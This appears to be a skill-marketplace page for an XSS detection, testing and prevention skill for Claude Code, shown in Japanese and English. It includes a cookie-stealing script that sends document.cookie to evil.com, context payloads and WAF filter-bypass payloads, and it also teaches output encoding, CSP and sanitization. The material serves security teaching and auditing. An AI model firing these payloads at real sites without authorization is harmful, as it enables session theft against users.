xss-detection
Webアプリケーションにおけるクロスサイトスクリプティング(XSS)の脆弱性を検出し、悪用や防御を行い、WAFの回避やCSPの実装、ユーザー入力のサニタイズ、脆弱性監査などを通してセキュリティを強化するSkill。
📜 元の英語説明(参考)
Detect, exploit, and prevent Cross-Site Scripting (XSS) vulnerabilities in web applications. Use when tasks involve testing for reflected, stored, or DOM-based XSS, building XSS payloads, bypassing WAF filters, implementing Content Security Policy, sanitizing user input, or auditing web applications for injection vulnerabilities. Covers detection, exploitation, and remediation.
🇯🇵 日本人クリエイター向け解説
Webアプリケーションにおけるクロスサイトスクリプティング(XSS)の脆弱性を検出し、悪用や防御を行い、WAFの回避やCSPの実装、ユーザー入力のサニタイズ、脆弱性監査などを通してセキュリティを強化するSkill。
※ jpskill.com 編集部が日本のビジネス現場向けに補足した解説です。Skill本体の挙動とは独立した参考情報です。
下記のコマンドをコピーしてターミナル(Mac/Linux)または PowerShell(Windows)に貼り付けてください。 ダウンロード → 解凍 → 配置まで全自動。
mkdir -p ~/.claude/skills && cd ~/.claude/skills && curl -L -o xss-detection.zip https://jpskill.com/download/15580.zip && unzip -o xss-detection.zip && rm xss-detection.zip
$d = "$env:USERPROFILE\.claude\skills"; ni -Force -ItemType Directory $d | Out-Null; iwr https://jpskill.com/download/15580.zip -OutFile "$d\xss-detection.zip"; Expand-Archive "$d\xss-detection.zip" -DestinationPath $d -Force; ri "$d\xss-detection.zip"
完了後、Claude Code を再起動 → 普通に「動画プロンプト作って」のように話しかけるだけで自動発動します。
💾 手動でダウンロードしたい(コマンドが難しい人向け)
- 1. 下の青いボタンを押して
xss-detection.zipをダウンロード - 2. ZIPファイルをダブルクリックで解凍 →
xss-detectionフォルダができる - 3. そのフォルダを
C:\Users\あなたの名前\.claude\skills\(Win)または~/.claude/skills/(Mac)へ移動 - 4. Claude Code を再起動
⚠️ ダウンロード・利用は自己責任でお願いします。当サイトは内容・動作・安全性について責任を負いません。
🎯 このSkillでできること
下記の説明文を読むと、このSkillがあなたに何をしてくれるかが分かります。Claudeにこの分野の依頼をすると、自動で発動します。
📦 インストール方法 (3ステップ)
- 1. 上の「ダウンロード」ボタンを押して .skill ファイルを取得
- 2. ファイル名の拡張子を .skill から .zip に変えて展開(macは自動展開可)
- 3. 展開してできたフォルダを、ホームフォルダの
.claude/skills/に置く- · macOS / Linux:
~/.claude/skills/ - · Windows:
%USERPROFILE%\.claude\skills\
- · macOS / Linux:
Claude Code を再起動すれば完了。「このSkillを使って…」と話しかけなくても、関連する依頼で自動的に呼び出されます。
詳しい使い方ガイドを見る →- 最終更新
- 2026-05-18
- 取得日時
- 2026-05-18
- 同梱ファイル
- 1
📖 Skill本文(日本語訳)
※ 原文(英語/中国語)を Gemini で日本語化したものです。Claude 自身は原文を読みます。誤訳がある場合は原文をご確認ください。
XSS検出
概要
クロスサイトスクリプティングの脆弱性を発見、証明、修正します。XSSを使用すると、攻撃者は他のユーザーが閲覧するWebページにスクリプトを注入し、セッションを盗んだり、フィッシングサイトにリダイレクトしたり、ページコンテンツを変更したりできます。
手順
XSSの種類
反射型XSS
悪意のあるスクリプトは、現在のHTTPリクエストから発生します。ペイロードはURLまたはフォーム送信にあり、レスポンスで反映されます。
攻撃の流れ:
1. 攻撃者がURLを作成: https://site.com/search?q=<script>alert(1)</script>
2. 被害者がリンクをクリック
3. サーバーがサニタイズせずにクエリをレスポンスに含める
4. ブラウザが被害者のセッションでスクリプトを実行
格納型XSS
ペイロードはサーバー(データベース、ファイル、メッセージ)に保存され、他のユーザーに提供されます。
攻撃の流れ:
1. 攻撃者がコメントを投稿: "素晴らしい記事です! <script>document.location='https://evil.com/steal?c='+document.cookie</script>"
2. コメントがデータベースに保存される
3. ページを閲覧するすべてのユーザーがスクリプトを実行する
4. Cookie/セッションが攻撃者のサーバーに送信される
格納型XSSは、ユーザーをだましてリンクをクリックさせる必要がないため、より危険です。
DOMベースXSS
脆弱性はサーバーのレスポンスではなく、クライアント側のJavaScriptにあります。ペイロードはサーバーに到達しません。
// 脆弱なコード — URLフラグメントから読み取り、DOMに書き込む
// URL: https://site.com/page#<img src=x onerror=alert(1)>
const hash = window.location.hash.substring(1);
document.getElementById('content').innerHTML = hash; // XSS!
// サーバーは#フラグメントを認識しない
// 従来のサーバー側のスキャンではこれを検出できない
検出
手動テスト
すべての入力ポイント(URLパラメータ、フォームフィールド、ヘッダー、Cookie)をテストします。
ステップ1:カナリア文字列を注入して、入力がレスポンスのどこに表示されるかを確認します
入力: test12345xss
レスポンスボディで以下を検索: test12345xss
コンテキストに注意: HTML内、属性内、JavaScript内、CSS内
ステップ2:コンテキストに基づいて、適切なペイロードを作成します
HTMLボディコンテキスト:
<p>検索: test12345xss</p>
ペイロード: <script>alert(1)</script>
ペイロード: <img src=x onerror=alert(1)>
HTML属性コンテキスト:
<input value="test12345xss">
ペイロード: " onfocus=alert(1) autofocus="
ペイロード: "><script>alert(1)</script>
JavaScriptコンテキスト:
var x = "test12345xss";
ペイロード: ";alert(1)//
ペイロード: '-alert(1)-'
URL/hrefコンテキスト:
<a href="test12345xss">
ペイロード: javascript:alert(1)
ステップ3:基本的なペイロードがブロックされている場合は、フィルターバイパス手法を試してください
自動スキャン
# dalfoxを使用 — 特殊なXSSスキャナー
# インストール: go install github.com/hahwul/dalfox/v2@latest
# パラメータ付きの単一のURLをスキャン
dalfox url "https://site.com/search?q=test" --skip-bav
# ファイルから複数のURLをスキャン
dalfox file urls-with-params.txt --skip-bav --output results.txt
# 他のツールからパイプ
echo "https://site.com/search?q=test" | dalfox pipe
# XSStrikeを使用 — PythonベースのXSSスキャナー
# インストール: pip install xsstrike
python3 xsstrike.py -u "https://site.com/search?q=test"
python3 xsstrike.py -u "https://site.com/search?q=test" --fuzzer # ファジングモード
DOM XSS検出
DOM XSSでは、危険なパターンについてJavaScriptソースコードを分析する必要があります。
// 危険なシンク — コンテンツを実行またはレンダリングする関数
// ユーザー制御の入力で呼び出されているものを探してください:
document.write() // 生のHTMLを書き込む
document.writeln()
element.innerHTML = ... // HTMLを解析してレンダリングする
element.outerHTML = ...
element.insertAdjacentHTML()
eval() // JavaScript文字列を実行する
setTimeout(string) // 文字列が渡された場合に実行される
setInterval(string)
Function(string)
$.html() // jQuery — innerHTMLと同じ
$(user_input) // jQueryセレクターインジェクション
window.location = ... // オープンリダイレクト / javascript: URL
// ソース — ユーザー入力の取得元:
window.location.hash
window.location.search
window.location.href
document.URL
document.referrer
document.cookie
window.name
window.postMessage data
localStorage / sessionStorage
フィルターバイパス手法
WAFまたは入力フィルターが基本的なペイロードをブロックする場合:
<!-- 大文字と小文字のバリエーション -->
<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x OnErRoR=alert(1)>
<!-- タグの代替 ( <script> がブロックされている場合) -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>
<!-- エンコードトリック -->
<img src=x onerror=alert(1)> <!-- HTMLエンティティ -->
<a href="javascript:alert(1)">click</a>
<img src=x onerror=\u0061lert(1)> <!-- Unicodeエスケープ -->
<!-- キーワードフィルターのバイパス -->
<img src=x onerror=ale+rt(1)> <!-- 文字列連結 -->
<img src=x onerror=window['alert'](1)> <!-- ブラケット表記 -->
<img src=x onerror=top['al'+'ert'](1)>
<img src=x onerror=self[atob('YWxlcnQ=')](1)> <!-- Base64 -->
<!-- () フィルターのバイパス -->
<img src=x onerror=alert`1`> <!-- テンプレートリテラル -->
<img src=x onerror=throw~onerror=alert,1>
<!-- 二重エンコード (サーバーがWAFチェックの前にデコードする場合) -->
%253Cscript%253Ealert(1)%253C%252Fscript%253E
予防
サーバー側の出力エンコーディング
主要な防御策 — コンテキストに基づいて出力をエンコードします。
# output_encoding.py
# コンテキストを考慮した出力エンコーディングはXSSを防ぎます
import html
import json
import re
from markupsafe import escape # Jinja2のエスケープ関数
def encode_html(value: str) -> str:
"""HTMLボディコンテキスト用にエンコードします。
& < > " ' をHTMLエンティティに変換します
<p>{value}</p> に挿入する場合に使用します
"""
return html.escape(value, quote=True)
def encode_attribute(value: str) -> str:
"""HTML属性コンテキスト用にエンコードします。
<input value="{value}"> に挿入する場合に使用します
常に属性を引用符で囲んでください — 引用符で囲まれていない属性には、より多くのバイパスベクターがあります。
"""
return html.escape(value, quote=Tru 📜 原文 SKILL.md(Claudeが読む英語/中国語)を展開
XSS Detection
Overview
Find, prove, and fix Cross-Site Scripting vulnerabilities. XSS lets attackers inject scripts into web pages viewed by other users — stealing sessions, redirecting to phishing sites, or modifying page content.
Instructions
XSS Types
Reflected XSS
The malicious script comes from the current HTTP request. The payload is in the URL or form submission and reflected back in the response:
Attack flow:
1. Attacker crafts URL: https://site.com/search?q=<script>alert(1)</script>
2. Victim clicks the link
3. Server includes the query in the response without sanitization
4. Browser executes the script in the victim's session
Stored XSS
The payload is saved on the server (database, file, message) and served to other users:
Attack flow:
1. Attacker posts a comment: "Great article! <script>document.location='https://evil.com/steal?c='+document.cookie</script>"
2. Comment is stored in the database
3. Every user who views the page executes the script
4. Cookies/sessions are sent to the attacker's server
Stored XSS is more dangerous because it doesn't require tricking users into clicking a link.
DOM-based XSS
The vulnerability is in client-side JavaScript, not the server response. The payload never reaches the server:
// Vulnerable code — reads from URL fragment and writes to DOM
// URL: https://site.com/page#<img src=x onerror=alert(1)>
const hash = window.location.hash.substring(1);
document.getElementById('content').innerHTML = hash; // XSS!
// The server never sees the # fragment
// Traditional server-side scanning won't detect this
Detection
Manual testing
Test every input point — URL parameters, form fields, headers, cookies:
Step 1: Inject a canary string to see where input appears in the response
Input: test12345xss
Search the response body for: test12345xss
Note the context: inside HTML, inside an attribute, inside JavaScript, inside CSS
Step 2: Based on context, craft appropriate payload
HTML body context:
<p>Your search: test12345xss</p>
Payload: <script>alert(1)</script>
Payload: <img src=x onerror=alert(1)>
HTML attribute context:
<input value="test12345xss">
Payload: " onfocus=alert(1) autofocus="
Payload: "><script>alert(1)</script>
JavaScript context:
var x = "test12345xss";
Payload: ";alert(1)//
Payload: '-alert(1)-'
URL/href context:
<a href="test12345xss">
Payload: javascript:alert(1)
Step 3: If basic payloads are blocked, try filter bypass techniques
Automated scanning
# Using dalfox — specialized XSS scanner
# Install: go install github.com/hahwul/dalfox/v2@latest
# Scan a single URL with parameters
dalfox url "https://site.com/search?q=test" --skip-bav
# Scan multiple URLs from a file
dalfox file urls-with-params.txt --skip-bav --output results.txt
# Pipe from other tools
echo "https://site.com/search?q=test" | dalfox pipe
# Using XSStrike — Python-based XSS scanner
# Install: pip install xsstrike
python3 xsstrike.py -u "https://site.com/search?q=test"
python3 xsstrike.py -u "https://site.com/search?q=test" --fuzzer # Fuzzing mode
DOM XSS detection
DOM XSS requires analyzing JavaScript source code for dangerous patterns:
// DANGEROUS SINKS — functions that execute or render content
// Look for these being called with user-controlled input:
document.write() // Writes raw HTML
document.writeln()
element.innerHTML = ... // Parses and renders HTML
element.outerHTML = ...
element.insertAdjacentHTML()
eval() // Executes JavaScript string
setTimeout(string) // Executes if passed a string
setInterval(string)
Function(string)
$.html() // jQuery — same as innerHTML
$(user_input) // jQuery selector injection
window.location = ... // Open redirect / javascript: URLs
// SOURCES — where user input comes from:
window.location.hash
window.location.search
window.location.href
document.URL
document.referrer
document.cookie
window.name
window.postMessage data
localStorage / sessionStorage
Filter Bypass Techniques
When WAF or input filters block basic payloads:
<!-- Case variation -->
<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x OnErRoR=alert(1)>
<!-- Tag alternatives (when <script> is blocked) -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>
<!-- Encoding tricks -->
<img src=x onerror=alert(1)> <!-- HTML entities -->
<a href="javascript:alert(1)">click</a>
<img src=x onerror=\u0061lert(1)> <!-- Unicode escapes -->
<!-- Bypassing keyword filters -->
<img src=x onerror=ale+rt(1)> <!-- String concatenation -->
<img src=x onerror=window['alert'](1)> <!-- Bracket notation -->
<img src=x onerror=top['al'+'ert'](1)>
<img src=x onerror=self[atob('YWxlcnQ=')](1)> <!-- Base64 -->
<!-- Bypassing () filter -->
<img src=x onerror=alert`1`> <!-- Template literals -->
<img src=x onerror=throw~onerror=alert,1>
<!-- Double encoding (if server decodes before WAF checks) -->
%253Cscript%253Ealert(1)%253C%252Fscript%253E
Prevention
Server-side output encoding
The primary defense — encode output based on context:
# output_encoding.py
# Context-aware output encoding prevents XSS
import html
import json
import re
from markupsafe import escape # Jinja2's escape function
def encode_html(value: str) -> str:
"""Encode for HTML body context.
Converts: & < > " ' to HTML entities
Use when inserting into: <p>{value}</p>
"""
return html.escape(value, quote=True)
def encode_attribute(value: str) -> str:
"""Encode for HTML attribute context.
Use when inserting into: <input value="{value}">
Always quote attributes — unquoted attributes have more bypass vectors.
"""
return html.escape(value, quote=True)
def encode_javascript(value: str) -> str:
"""Encode for JavaScript string context.
Use when inserting into: var x = "{value}";
Best practice: use JSON.dumps which handles all escaping.
"""
return json.dumps(value) # Handles \, ", newlines, etc.
def encode_url(value: str) -> str:
"""Encode for URL parameter context.
Use when inserting into: <a href="/page?q={value}">
"""
from urllib.parse import quote
return quote(value, safe='')
Content Security Policy (CSP)
CSP is the strongest defense against XSS — even if an attacker injects a script, the browser won't execute it:
# Strict CSP — blocks inline scripts and eval
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-{random}';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
# How nonce-based CSP works:
# Server generates a random nonce per request
# Only <script nonce="same-random-value"> executes
# Injected scripts without the nonce are blocked
<!-- Server generates nonce per request -->
<script nonce="r4nd0m123">
// This executes — nonce matches CSP header
app.init();
</script>
<!-- Injected by attacker — blocked by CSP -->
<script>alert(1)</script>
<!-- Browser refuses to execute: no nonce attribute -->
Input validation
Defense-in-depth — validate input even though output encoding is the primary defense:
# input_validation.py
# Validate and sanitize user input as defense-in-depth
import bleach # HTML sanitizer for cases where HTML input is needed
def sanitize_rich_text(html_input: str) -> str:
"""Sanitize user-provided HTML (e.g., blog comments with formatting).
Allows safe tags and attributes, strips everything else.
Use ONLY when you need to accept HTML input.
For plain text, use output encoding instead.
"""
allowed_tags = ['p', 'br', 'b', 'i', 'em', 'strong', 'a', 'ul', 'ol', 'li']
allowed_attrs = {'a': ['href', 'title']} # No onclick, no style
cleaned = bleach.clean(
html_input,
tags=allowed_tags,
attributes=allowed_attrs,
strip=True, # Remove disallowed tags entirely
protocols=['http', 'https'] # No javascript: URLs in href
)
return cleaned
Examples
Test a web application for XSS vulnerabilities
Audit our web application for XSS vulnerabilities. Test all input points: search forms, user profile fields, comment sections, URL parameters, and HTTP headers (Referer, User-Agent). For each finding, show the injection context, the payload that triggers it, the XSS type (reflected/stored/DOM), and the impact. Provide remediation guidance specific to each finding.
Implement CSP for an existing application
Our Express.js application has no Content Security Policy. Implement a strict CSP with nonce-based script execution. The app uses inline scripts in 3 templates, loads Google Analytics and Stripe.js externally, and has inline styles in some components. Migrate all inline scripts to nonce-based, create the CSP middleware, and set up CSP violation reporting to catch issues before enforcing.
Build an automated XSS testing pipeline
Set up an automated XSS testing pipeline that runs on every PR. It should: 1) Spider the running application to discover all forms and URL parameters, 2) Test each input with context-appropriate payloads, 3) Check for DOM XSS by analyzing JavaScript for dangerous sink/source patterns, 4) Verify CSP headers are present and properly configured, 5) Report findings with severity ratings. Use dalfox for reflected/stored and a custom scanner for DOM-based.
Guidelines
- Only test for XSS on applications you have explicit written authorization to test
- Use
alert(1)oralert(document.domain)as proof-of-concept — never use actual cookie-stealing payloads against real users - Stored XSS payloads persist in the database — coordinate with the target team to clean up after testing
- CSP is the strongest defense but is not a replacement for output encoding — implement both
- Context-aware encoding is critical: HTML encoding in a JavaScript context does not prevent XSS
- Always report XSS findings through responsible disclosure channels, never publicly